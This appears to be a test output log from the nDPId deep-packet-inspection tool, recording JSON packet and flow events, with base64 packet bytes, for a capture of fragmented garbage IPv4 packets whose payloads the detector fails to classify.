+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525443,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525455,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525478,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525490,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":525502,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkRGR0hKSyZe"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1534244026825,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":9508,"dst_port":8995,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825625,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1DEpQAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825661,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825673,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825678,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825699,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825726,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825770,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825817,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825826,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825835,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825845,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825854,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825864,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825922,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825931,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":825942,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 